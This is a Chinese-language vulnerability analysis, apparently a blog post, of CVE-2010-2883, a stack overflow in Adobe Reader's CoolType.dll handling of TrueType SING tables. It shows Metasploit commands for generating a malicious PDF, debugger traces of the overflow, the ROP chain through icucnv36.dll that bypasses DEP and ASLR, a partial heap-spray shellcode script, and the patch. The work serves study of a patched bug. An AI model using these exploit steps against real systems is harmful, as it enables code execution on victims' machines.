在Adobe Reader和Acrobat 9.4之前的9.x版本中用于实现CoolType(清晰显示文本的字体还原技术)技术的库CoolType.dll中在解析TrueType字体文件中的SING表的uniqueName字段时调用的strcat函数未检查长度导致存在基于栈的缓冲区溢出漏洞。远程攻击者可构造恶意的SmartINdependent Glyphlets (SING)表修改内存数据从而执行任意代码。
漏洞信息
漏洞编号: CVE-2010-2883
复现环境:
操作系统 Windows XP SP3
虚拟机 Vmware 15 Pro
漏洞软件 Adobe Reader 9.3.4
样本生成
这里我们先借助Metasploit帮助我们生成一个样本用于动态调试(之后会分析这个样本是如何构造出来的)。
1 | msfconsole |
首先在Kali中调用msfconsole唤出我们的msf。
1 | msf > search cve-2010-2883 |
搜索cve-2010-2883漏洞编号可以列出可用的exploit。
我是unbuntu系统,这个文件在/opt目录下
然后找/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
为了便于等下动态调试识别一些关键数据块,我们考虑修改一下这个exploit的一处地方。
在这个exploit的102行处,将下面这句代码
1 | sing << rand_text(0x254 - sing.length) |
改为
1 | sing << "A" * (0x254 - sing.length) |
这里的rand_text主要作用是取随机字符,目的是为了增强样本的随机性从而躲避一些检测。这里我们只做研究之用,所以不必随机。修改之后保存
使用这个exp
1 | msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec |
然后设置有效载荷为windows/exec用来执行命令
1 | msf exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe |
设置为启动计算器
1 | msf exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve20102883.pdf |
最后设置一下生成的样本文件名
1 | msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit |
执行一下,样本就被生成在了 /root/.msf4/local/cve20102883.pdf
然后拷贝出来放到Windows SP3虚拟机上的复现环境中。
静态分析
由于已经知道是SING处出了问题,那么用ida直接查找字符串,定位到这里,漏洞函数就是strcat。
1 | .text:0803DD74 push offset aSing ; "SING" |
先分析strcat的参数,第一个参数是栈上一个地址,字符串拼接后会把字符拼接到这里,可以看到前面并没有对长度进行限制。
第二个参数盲猜应该是我们构造的rop链的地址了。
动态调试
在复现环境中把Adobe Reader 9.3.4 启动程序载入OllyDbg。加载之后F9运行。此时OllyDbg显示当前调试的程序是运行状态,实际上这个时候Adobe Reader就已经加载了CoolType.dll文件了。通过刚刚的静态分析我们了解到aSing在地址0x0803DD74处被引用。因此我们可以先在OD中在这个地址处下一个断点。快捷键Ctrl+G输入0x0803DD74回车跳转到该地址F2下断点。
我们将刚才的样本拖入到Adobe Reader中。程序就会停在刚才下的断点上面。
F7单步到
1 | 0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24] |
执行这句指令之后我们来看看ecx到底存了什么。此时的ecx = 0x0012E4B4,首先猜测这是一个指针地址,定位到数据区域之后,取出前32位的十六进制。
1 | 0012E4B4 F4 41 6D 04 |
由于在X86架构下是小端字节序,因此我们将数据排列成0x046D41F4。这应该就是ecx指针所指向的地址,定位到数据区域。可以看到如下数据
在分析这段数据之前我们先来看看TrueType字体格式标准文档里是怎么说的。
在TrueType字体文件中,从0字节偏移的位置开始处有一个表目录。且这个表目录的第一个字段是名为sfnt version是用来表明所用ttf格式版本的字段。在文档中清楚的标注了,对于1.0版本的TTF字体文件开头要用0x00010000来表示版本。回到我们刚才0x046D41F4位置处的数据,会发现开头正好是0x00010000,这就证明了ecx保存的是一个指向ttf对象的指针地址并且在这里应该是作为this指针。
分析到这里,继续我们的动态调试。接下来遇到了一个call指令,意味着即将调用一个函数。在调用函数前我们不妨先看看这个函数传入了哪些参数。
1 | 0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII "SING" |
很明显它将SING字符串当作参数了。这里我们单步F8不进入call函数内部。
1 | 0803DD7D E8 843DFEFF call CoolType.08021B06 |
来看看这里的eax变成了什么。
eax = 0x046BE598
数据窗口跟随就会发现
1 | 046BE598 00 00 01 00 01 0E 00 01 .... |
这里大量的A原本都是随机字符,由于刚才我们修改了exploit的代码因此使得这里的数据块更容易辨认。实际上这些数据都是样本中SING表里构造好的恶意数据。
1 | 0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII "SING" |
因此总结一下,以上的指令主要就是将SING表的tag名传入到08021B06函数中通过表目录来获取到SING表的入口地址,而目前eax的值0x046BE598即是SING表的入口地址。分析SING表的这些数据,我们就能知道样本到底做了些什么。
继续往下动态调试,会发现关键的溢出点。
1 | 0803DDA2 50 push eax |
第一个pusheax 将刚刚获取到的SING表入口地址压入栈区。第二个 pusheax获取了当前栈区的ebp地址即要连接字符串的目的地址。我们单步过strcat之后,查看一下ebp开始的栈区数据。
1 | 0012E4D8 41414141 |
此时栈溢出已经发生,栈区数据已经被修改成了SING表中构造的恶意数据(实际上是从uniqueName字段开始的数据)。
继续往下分析,我们希望了解程序到底是怎么样去读取栈区数据的。
1 | 0808B308 FF10 call dword ptr ds:[eax] |
执行到0x0808B308时,我们发现了一个很有意思的地方。即调用了[eax]地址指向的函数。此时的eax = 0012E6D0,这正好处于我们刚才覆盖的栈区数据范围内。
且 [eax]= 0x4A80CB38。
1 | 4A80CB38 81C5 94070000 add ebp,0x794 |
首先调整了ebp。原本的ebp = 0x0012DD48 ebp+0x794 = 0x0012E4DC
重新将ebp调整进了覆盖的栈区数据范围内。接下来执行的leave,修改了esp,原本的esp = 0x0012DD24 esp = ebp = 0x0012E4DC [esp] = 0x41414141 并且弹栈之后
ebp = 0x41414141
最后retn时,esp = 0x0012E4E0 [esp] = 0x4A82A714 因此接下来EIP = 0x4A82A714
1 | 4A82A714 5C pop esp ; 0C0C0C0C |
这里原本的esp= 0x0012E4E4 [esp] = 0x0C0C0C0C
pop esp之后 esp = 0x0C0C0C0C
跳转地址的稳定性其实主要依靠0x4A82A714和0x4A80CB38这两处的地址,他们都位于icucnv36.dll的地址,而在Aodobe Reader的各种版本上,这个dll上的这两处地址是始终不变的,因而保持了各版本的兼容性和Exp的稳定性。上面的0C0C0C0C正是样本特意构造的,然后通过嵌入到pdf的JavaScripe实现Heap Spary,进而跳入shellcode执行代码。0x0C0C0C0C正是绕过DEP的关键部分
让我们看下0x0C0C0C0C处的内容,也就是我们接下来要执行的ROP链
1 | 0C0C0C0C 4A8063A5 icucnv36.4A8063A5 |
继续动态分析。此时即将执行retn,而esp指向的地址是0x0c0c0c0c,即
1 | 0C0C0C0C 4A8063A5 icucnv36.4A8063A5 |
再继续动态分析之前,不妨先猜一下会发生什么,以免我们在浩瀚的汇编代码中迷失自己
可以从shellcode中看到我们主要指令了这么几个函数
1 | <&KERNEL32.CreateFileA> |
接下来继续动态调试
上面给eax复制为CreateFile的函数指针,后面开始调用这个函数
这里直接跳转到eax保存的指针所指向的地址(0x7C801A28)处
单步执行到CreateFileW处,查看栈中参数
****
这里都是CreateFileA的参数,来看看CreateFileA官方文档给出的结构
1 | HANDLE CreateFileA( |
lpFileName用于指定被创建文件的文件名。
dwDesiredAccess 用于指定访问权限一般都是读、写之类的。这里的GENERIC_ALL指的是采用所有可能的访问权限。
dwShareMode 用于指定请求的文件或设备的共享模式,这里指定的0代表了阻止其他进程在请求删除,读取或写入访问权限时打开文件或设备。
lpSecurityAttributes 用于设置安全描述符和子进程是否可继承,这个属性可为NULL,这里用的就是NULL。
dwCreationDisposition 设置对文件执行的操作。这里的CREATE_ALWAYS代表总是会创建文件,即使目标文件已存在也会覆盖它。
dw FlagsAndAttributes 设置文件或设备属性和标志,这里给的值是FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_TEMPORARY 代表该文件用于临时存储。
hTemplateFile 设置具有GENERIC_READ访问权限的模板文件的有效句柄。这个属性这里也没用到直接指定NULL。
总之这里创建了一个临时文件,文件名是iso88591。可以在当前样本pdf同目录下找到。
返回后用相同的方法构造处rop指令来调用CreateFileMappping,创建文件内存映射
参数为
然后执行MapViewOfFile函数
再通过类似的方法调用mmap
其中目的地址就是前面MapViewOfFile返回的地址,而源地址就是真正的ShellCode代码,将他复制到一段可执行可读写的内存段,以此绕过DEP保护。由于构造的ROP指令均位于不受ASLR保护的icucnv36.dll模块,因此也可绕过ASLR保护。
总结一下这部分由堆喷射覆盖在栈上的数据都做了一些什么。主要做了新建临时文件,将文件映射到内存,将真正的shellcode拷贝到内存的某一块区域并且解码这些shellcode然后执行。
JavaScript实现HeapSpray
PDFStreamDumper打开恶意pdf文件,在第一个object处找到OpenAction,表示其在第11个obj中,PDF运行时会执行里面脚本
进入第11个obj,表示执行的js代码位于第12个obj中
进入12obj,发现实现堆喷射的js脚本
1 | var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%······30%u1602%u50d3' ); |
所有的shellcode都被转化成了十六进制的转义序列,经过unescape解码之后存储在了var_shellcode之中。var_c变量存储了“%u0c0c%u0c0c”,接下来用了一个while循环叠加block,用于覆盖内存中的数据,采用0x0c0c0c0c的原因是因为它所对应的指令是
1 | or al,0x0C |
这样的指令执行的效果对al寄存器不会产生任何影响很适合当作滑板指令是堆喷射的常用技巧。
接下来的SP保存了前面的所有滑板指令以及shellcode。最关键的实现堆喷射的语句是new Array()
利用数组来开辟内存区域,然后通过填充数组数据的方式来喷射shellcode。
PDF格式&样本构造
先回顾一下漏洞的触发点,漏洞的触发点是在解析TTF字体的SING表时出现的问题。那很显然我们首先要了解一下TTF的格式定义以及SING表的具体字段。同时我们还需要了解PDF格式规范当中是如何来引用TTF字体文件的,以及PDF是怎么支持JavaScript脚本执行的。
先来了解一下PDF的基本格式
首先看到的是Header部分。这是PDF文件的开始部分。主要用来指明当前PDF文件所遵循的PDF格式标准版本。例如%PDF-1.5
Body部分包含了PDF文档的主要内容,所有向用户展现的内容都在此存放。
Cross-reference table 即交叉引用表,包含了当前PDF文档中所有对象的引用、偏移量以及字节长度。借助这个引用表可以在全文档范围内随机访问任何一个对象,非常的方便。
Trailer主要包含了指向交叉引用表的指针以及一些关键对象的指针并且以%%EOF标记文件结束,帮助符合标准的阅读器能够快速定位到需要的对象。所有的PDF阅读器都是要从这里开始解析。
了解完PDF基本格式。秉承着用到什么再提什么的原则,我们这里通过分析MSF提供的exp来帮助理解PDF文档的构造过程。
定位到 def make_pdf(ttf, js) 的部分,这里是创建pdf的核心位置。
来到/opt/metasploit-framework/embedded/framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
这个脚本是用ruby语言编写的,对于ruby语法的相关细节本文不再赘述。
定位到 def make_pdf(ttf, js) 的部分,这里是创建pdf的核心位置。
1 | xref = [] |
看到首先定义了几个接下来会用到的字符以及交叉引用表xref。
1 | pdf = "%PDF-1.5" << eol |
这里描述的是Header部分的内容,首先定义了版本号,这个样本遵循的是PDF1.5版本。
接下来调用了一个random_non_ascii_string函数
1 | def random_non_ascii_string(count) |
该函数用于随机出不再ASCII范围内的字符。换句话说这里随机了4个字符。关于这四个字符的作用。Adobe给出的PDF文档里是这样描述的
If a PDF file contains binary data, as most do, the header line shall be immediately followed by a comment line containing at least four binary characters—that is ,characters whose codes are 128 or greater. This ensures proper behaviour of file transfer applications that inspect data near the beginning of a file to determine whether to treat the file‘s contents as text or as binary.
这四个code大于128的字符用于确保当前PDF文档被当作二进制文件来对待而不是文本文件。
看完了Header部分的实现,再看Body部分的实现之前,先来了解一下Body部分大致的组织结构。
继续往下看会看到catalog对象的定义
1 | xref << pdf.length |
这里用到了两个io_def和n_obfu函数。此处的xref << pdf.length用于记录对象的偏移量。
1 | def io_def(id) |
漏洞修复
下载AdobeReader 9.4.0版本提取CoolType.dll,定位到相同的位置
很显然这里不再是调用strcat而是改为调用sub_813391E函数
1 | .text:0813391E push esi |
该函数获取了字段的长度,判断是否超出限制。如果超出限制就用strncat限制了拷贝的字节数从而修复了该漏洞。
参考资料
https://www.anquanke.com/post/id/179681#h2-1
漏洞战争p15